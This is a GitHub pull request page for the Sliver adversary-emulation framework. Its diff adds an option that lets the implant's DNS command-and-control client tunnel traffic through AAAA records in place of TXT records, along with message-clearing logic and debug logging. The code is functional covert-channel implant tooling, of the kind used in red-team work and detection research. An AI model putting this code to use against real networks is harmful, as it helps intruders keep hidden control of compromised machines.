Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Notxt dns #1284

Merged
merged 40 commits into from
Aug 8, 2023
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
40 commits
Select commit Hold shift + click to select a range
f180dd9
Added support for nonTXT based DNS comms
rwincey May 26, 2023
a8b69b3
Added AAAA record to response along with CNAME
rwincey May 26, 2023
302711e
Trimmed DNS size to fit within 512
rwincey May 26, 2023
4c0f36d
More size massaging
rwincey May 29, 2023
e4b6da3
More size massaging
rwincey May 29, 2023
d14003b
More size massaging
rwincey May 29, 2023
683a779
More size massaging
rwincey May 29, 2023
2066d20
More size massaging
rwincey May 29, 2023
992ee14
Fixed cname recursive lookup
rwincey May 29, 2023
244639a
Merge branch 'BishopFox:master' into notxt_dns
rwincey May 30, 2023
91b2836
Merge branch 'BishopFox:master' into notxt_dns
rwincey May 30, 2023
b8697f6
Switched from cname to just aaaa IPs
rwincey Jun 1, 2023
80e04c7
Merge branch 'notxt_dns' of https://github.com/rwincey/sliver into no…
rwincey Jun 1, 2023
1902f13
Added error handling, debug msgs, and indexes to AAAA records to be r…
rwincey Jun 2, 2023
ca7b62f
Removed some error handled that was designed that way
rwincey Jun 2, 2023
8469c9a
Debug on message send queue
rwincey Jun 2, 2023
58bcac5
Refuse requests for duplicate requests
rwincey Jun 2, 2023
4c84863
Do not respond if there are no messages available
rwincey Jun 2, 2023
52ff6b4
Do not respond if there are no messages available
rwincey Jun 2, 2023
d390ac9
Attempting to fix race condition in poll
rwincey Jun 2, 2023
2b2feb3
Hopefully fixed race condition
rwincey Jun 2, 2023
f5d2cd2
Initialized new map
rwincey Jun 2, 2023
d341b1c
Hopefully fixed race condition
rwincey Jun 2, 2023
66b7b98
Hopefully fixed race condition
rwincey Jun 2, 2023
76a8de6
Fixed empty message bug
rwincey Jun 5, 2023
998bd5a
Fixed empty message bug
rwincey Jun 5, 2023
4d0f658
More dbg msgs
rwincey Jun 5, 2023
884f2d0
Typo
rwincey Jun 5, 2023
185ded6
Error msg
rwincey Jun 5, 2023
8094742
Don't bail on replay attack
rwincey Jun 5, 2023
9148720
Added logic to send clear message after a job is completed
rwincey Jun 6, 2023
66c521d
Merge updates
rwincey Jun 7, 2023
bbe5f4c
Removed unnecessary change
rwincey Jun 7, 2023
6db7861
Merge branch 'master' into notxt_dns
moloch-- Jun 20, 2023
6bd1108
Merge branch 'master' into notxt_dns
moloch-- Jun 20, 2023
f99b3ca
Merge branch 'master' into notxt_dns
moloch-- Jun 26, 2023
bfacc71
Merge branch 'master' into notxt_dns
moloch-- Jun 29, 2023
c75cf89
Merge branch 'master' into notxt_dns
moloch-- Jul 8, 2023
7741b03
Merge branch 'master' into notxt_dns
rkervella Jul 28, 2023
fd0e54c
Merge branch 'master' into notxt_dns
moloch-- Aug 3, 2023
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
133 changes: 121 additions & 12 deletions implant/sliver/transports/dnsclient/dnsclient.go
Original file line number Diff line number Diff line change
Expand Up @@ -92,6 +92,7 @@ var (
ErrInvalidResponse = errors.New("invalid response")
ErrInvalidIndex = errors.New("invalid start/stop index")
ErrEmptyResponse = errors.New("empty response")
ErrInvalidMsg = errors.New("invalid dns message")
)

// DNSOptions - c2 specific options
Expand All @@ -102,6 +103,7 @@ type DNSOptions struct {
MaxErrors int
WorkersPerResolver int
ForceBase32 bool
NoTXT bool
ForceResolvConf string
ForceResolvers string
}
Expand Down Expand Up @@ -141,6 +143,7 @@ func ParseDNSOptions(c2URI *url.URL) *DNSOptions {
MaxErrors: maxErrors,
WorkersPerResolver: workersPerResolver,
ForceBase32: strings.ToLower(c2URI.Query().Get("force-base32")) == "true",
NoTXT: strings.ToLower(c2URI.Query().Get("notxt")) == "true",
ForceResolvConf: c2URI.Query().Get("force-resolv-conf"),
ForceResolvers: c2URI.Query().Get("resolvers"),
}
Expand All @@ -167,6 +170,7 @@ func NewDNSClient(parent string, opts *DNSOptions) *SliverDNSClient {
metadata: map[string]*ResolverMetadata{},
parent: parent,
forceBase32: opts.ForceBase32,
noTXT: opts.NoTXT,
forceResolvConf: opts.ForceResolvConf,
forceResolvers: opts.ForceResolvers,
queryTimeout: opts.QueryTimeout,
Expand All @@ -192,6 +196,7 @@ type SliverDNSClient struct {
retryCount int
queryTimeout time.Duration
forceBase32 bool
noTXT bool
forceResolvConf string
forceResolvers string
subdataSpace int
Expand Down Expand Up @@ -256,6 +261,8 @@ func (w *DNSWorker) Start(id int, recvQueue <-chan *DNSWork, sendQueue <-chan *D
switch work.QueryType {
case dns.TypeA:
data, _, err = w.resolver.A(work.Domain)
case dns.TypeAAAA:
data, _, err = w.resolver.AAAA(work.Domain)
case dns.TypeTXT:
data, _, err = w.resolver.TXT(work.Domain)
}
Expand Down Expand Up @@ -292,7 +299,7 @@ func (s *SliverDNSClient) SessionInit() error {
s.resolvers = []DNSResolver{}
for _, server := range s.resolvConf.Servers {
s.resolvers = append(s.resolvers,
NewGenericResolver(server, s.resolvConf.Port, s.retryWait, s.retryCount, s.queryTimeout),
NewGenericResolver(server, s.resolvConf.Port, s.retryWait, s.retryCount, s.queryTimeout, s.parent),
)
}
// {{if .Config.Debug}}
Expand Down Expand Up @@ -340,6 +347,14 @@ func (s *SliverDNSClient) SessionInit() error {
// {{end}}
return err
}

if len(respData) < 1 {
// {{if .Config.Debug}}
log.Printf("[dns] no data received in message")
// {{end}}
return ErrEmptyResponse
}

data, err := s.cipherCtx.Decrypt(respData)
if err != nil {
// {{if .Config.Debug}}
Expand Down Expand Up @@ -389,7 +404,14 @@ func (s *SliverDNSClient) sendInit(resolver DNSResolver, encoder encoders.Encode
}
resp := []byte{}
for _, subdata := range allSubdata {
respData, _, err := resolver.TXT(subdata)

var respData []byte
var err error
if s.noTXT {
respData, _, err = resolver.AAAA(subdata)
} else {
respData, _, err = resolver.TXT(subdata)
}
if err != nil {
// {{if .Config.Debug}}
log.Printf("[dns] init msg failure %v", err)
Expand All @@ -398,6 +420,11 @@ func (s *SliverDNSClient) sendInit(resolver DNSResolver, encoder encoders.Encode
}
if 0 < len(respData) {
resp = append(resp, respData...)
} else {
// {{if .Config.Debug}}
log.Printf("[dns] no data received in response")
// {{end}}
return nil, ErrInvalidResponse
}
}
return resp, nil
Expand Down Expand Up @@ -425,6 +452,7 @@ func (s *SliverDNSClient) WriteEnvelope(envelope *pb.Envelope) error {

// ReadEnvelope - Recv an envelope from the server
func (s *SliverDNSClient) ReadEnvelope() (*pb.Envelope, error) {
var respData []byte
if s.closed {
return nil, ErrClosed
}
Expand All @@ -444,14 +472,26 @@ func (s *SliverDNSClient) ReadEnvelope() (*pb.Envelope, error) {
// {{if .Config.Debug}}
log.Printf("[dns] poll msg domain: %v", domain)
// {{end}}
respData, _, err := resolver.TXT(domain)
if err != nil {
return nil, err

if s.noTXT {
respData, _, err = resolver.AAAA(domain)
if err != nil {
return nil, err
}
} else {
respData, _, err = resolver.TXT(domain)
if err != nil {
return nil, err
}
}

// {{if .Config.Debug}}
log.Printf("[dns] read msg resp data: %v", respData)
// {{end}}
if len(respData) < 1 {
// {{if .Config.Debug}}
log.Printf("[dns] no data received in response")
// {{end}}
return nil, nil
}

Expand All @@ -471,10 +511,38 @@ func (s *SliverDNSClient) ReadEnvelope() (*pb.Envelope, error) {
return nil, err
}

if len(respData) < 1 {
// {{if .Config.Debug}}
log.Printf("[dns] no data received in message")
// {{end}}
return nil, nil
}

plaintext, err := s.cipherCtx.Decrypt(ciphertext)
if err != nil && err != cryptography.ErrReplayAttack {
return nil, err
}

//Send clear
clearMsg, err := s.clearMsg(dnsMsg.ID)
if err != nil {
return nil, err
}
domain, err = s.joinSubdataToParent(clearMsg)
if err != nil {
return nil, err
}
// {{if .Config.Debug}}
log.Printf("[dns] clear msg domain: %v", domain)
// {{end}}

respData, _, err = resolver.A(domain)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[dns] clear msg error: %s", err)
// {{end}}
}

envelope := &pb.Envelope{}
err = proto.Unmarshal(plaintext, envelope)
return envelope, err
Expand Down Expand Up @@ -529,7 +597,12 @@ func (s *SliverDNSClient) parallelRecv(manifest *dnspb.DNSMessage) ([]byte, erro
return nil, ErrInvalidResponse
}

const bytesPerTxt = 182 // 189 with base64, -6 metadata, -1 margin
var bytesPerTxt uint32
if s.noTXT {
bytesPerTxt = 192
} else {
bytesPerTxt = 182 // 189 with base64, -6 metadata, -1 margin
}

wg := &sync.WaitGroup{}
results := make(chan *DNSResult, int(manifest.Size/bytesPerTxt)+1)
Expand All @@ -555,11 +628,21 @@ func (s *SliverDNSClient) parallelRecv(manifest *dnspb.DNSMessage) ([]byte, erro
}

wg.Add(1)
s.recvQueue <- &DNSWork{
QueryType: dns.TypeTXT,
Domain: domain,
Wg: wg,
Results: results,

if s.noTXT {
s.recvQueue <- &DNSWork{
QueryType: dns.TypeAAAA,
Domain: domain,
Wg: wg,
Results: results,
}
} else {
s.recvQueue <- &DNSWork{
QueryType: dns.TypeTXT,
Domain: domain,
Wg: wg,
Results: results,
}
}
}

Expand All @@ -570,25 +653,34 @@ func (s *SliverDNSClient) parallelRecv(manifest *dnspb.DNSMessage) ([]byte, erro
recvData := make(chan []byte)
errors := []error{}
go func() {
// {{if .Config.Debug}}
log.Printf("[dns] Manifest Len: %d ", manifest.Size)
// {{end}}
recvDataBuf := make([]byte, manifest.Size)
for result := range results {
if result.Err != nil {
errors = append(errors, result.Err)
continue
}
// {{if .Config.Debug}}
log.Printf("[dns] read result data: %v", result.Data)
log.Printf("[dns] read result data: Len: %d %v", len(result.Data), result.Data)
// {{end}}
recvMsg := &dnspb.DNSMessage{}
err := proto.Unmarshal(result.Data, recvMsg)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[dns] unmarshal error: %s", err)
// {{end}}
errors = append(errors, result.Err)
continue
}
// {{if .Config.Debug}}
log.Printf("[dns] recv msg: %v", recvMsg)
// {{end}}
if manifest.Size < recvMsg.Start || int(manifest.Size) < int(recvMsg.Start)+len(recvMsg.Data) {
// {{if .Config.Debug}}
log.Printf("[dns] invalid index")
// {{end}}
errors = append(errors, ErrInvalidIndex)
continue
}
Expand Down Expand Up @@ -814,6 +906,23 @@ func (s *SliverDNSClient) pollMsg(meta *ResolverMetadata) (string, error) {
}
}

func (s *SliverDNSClient) clearMsg(msgId uint32) (string, error) {
nonceBuf := make([]byte, 8)
rand.Read(nonceBuf)
clearMsg, _ := proto.Marshal(&dnspb.DNSMessage{
ID: msgId,
Type: dnspb.DNSMessageType_CLEAR,
Data: nonceBuf,
})
if s.enableCaseSensitiveEncoder {
msg, _ := s.base58.Encode(clearMsg)
return string(msg), nil
} else {
msg, _ := s.base32.Encode(clearMsg)
return string(msg), nil
}
}

func (s *SliverDNSClient) otpMsg() (string, error) {
otpMsg := &dnspb.DNSMessage{
Type: dnspb.DNSMessageType_TOTP,
Expand Down
Loading